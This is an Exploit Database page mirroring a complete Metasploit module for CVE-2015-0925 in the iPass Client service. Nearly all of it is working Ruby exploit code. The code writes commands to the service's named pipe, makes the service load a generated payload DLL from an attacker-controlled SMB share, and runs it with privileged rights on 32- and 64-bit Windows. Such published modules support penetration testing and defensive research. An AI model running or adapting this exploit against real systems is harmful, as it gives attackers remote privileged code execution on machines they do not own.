IPass Control Pipe – Remote Command Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2015-03-16
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36412/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::EXE
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'IPass Control Pipe Remote Command Execution',
  'Description'=> %q{
  This module exploits a vulnerability in the IPass Client service. This service provides a
  named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
  to force the service to load a DLL from a SMB share.
  },
  'Author' =>
  [
  'Matthias Kaiser', # Vulnerability discovery
  'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2015-0925' ],
  [ 'OSVDB', '117423' ],
  [ 'BID', '72265' ],
  [ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
  ],
  'DefaultOptions'=>
  {
  'EXITFUNC' => 'process',
  },
  'Payload' =>
  {
  'Space' => 2048,
  'DisableNops' => true
  },
  'Platform'=> 'win',
  'Targets' =>
  [
  [ 'Windows x32', { 'Arch' => ARCH_X86 } ],
  [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
  ],
  'Privileged'=> true,
  'DisclosureDate'=> 'Jan 21 2015',
  'DefaultTarget' => 0))
  
  register_options(
  [
  OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
  ], self.class)
  
  deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
  end
  
  def check
  echo_value = rand_text_alphanumeric(rand(10) + 10)
  
  begin
  response = send_command("System.Echo #{echo_value}")
  if response =~ Regexp.new(echo_value)
  return Exploit::CheckCode::Vulnerable
  else
  return Exploit::CheckCode::Unknown
  end
  rescue Rex::ConnectionError => e
  vprint_error("Connection failed: #{e.class}: #{e}")
  return Msf::Exploit::CheckCode::Unknown
  rescue Rex::Proto::SMB::Exceptions::LoginError => e
  vprint_error('Connection reset during login')
  return Msf::Exploit::CheckCode::Unknown
  end
  end
  
  def setup
  super
  self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
  self.share = Rex::Text.rand_text_alpha(5)
  end
  
  def primer
  self.file_contents = generate_payload_dll
  print_status("File available on #{unc}...")
  send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
  end
  
  def send_command(command)
  # The connection is closed after each command, so we have to reopen it
  connect
  smb_login
  pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
  pipe.write(Rex::Text.to_unicode(command))
  response = Rex::Text.to_ascii(pipe.read)
  
  response
  end
  
  
  def exploit
  begin
  Timeout.timeout(datastore['SMB_DELAY']) { super }
  rescue Timeout::Error
  # do nothing... just finish exploit and stop smb server...
  end
  end
  
  end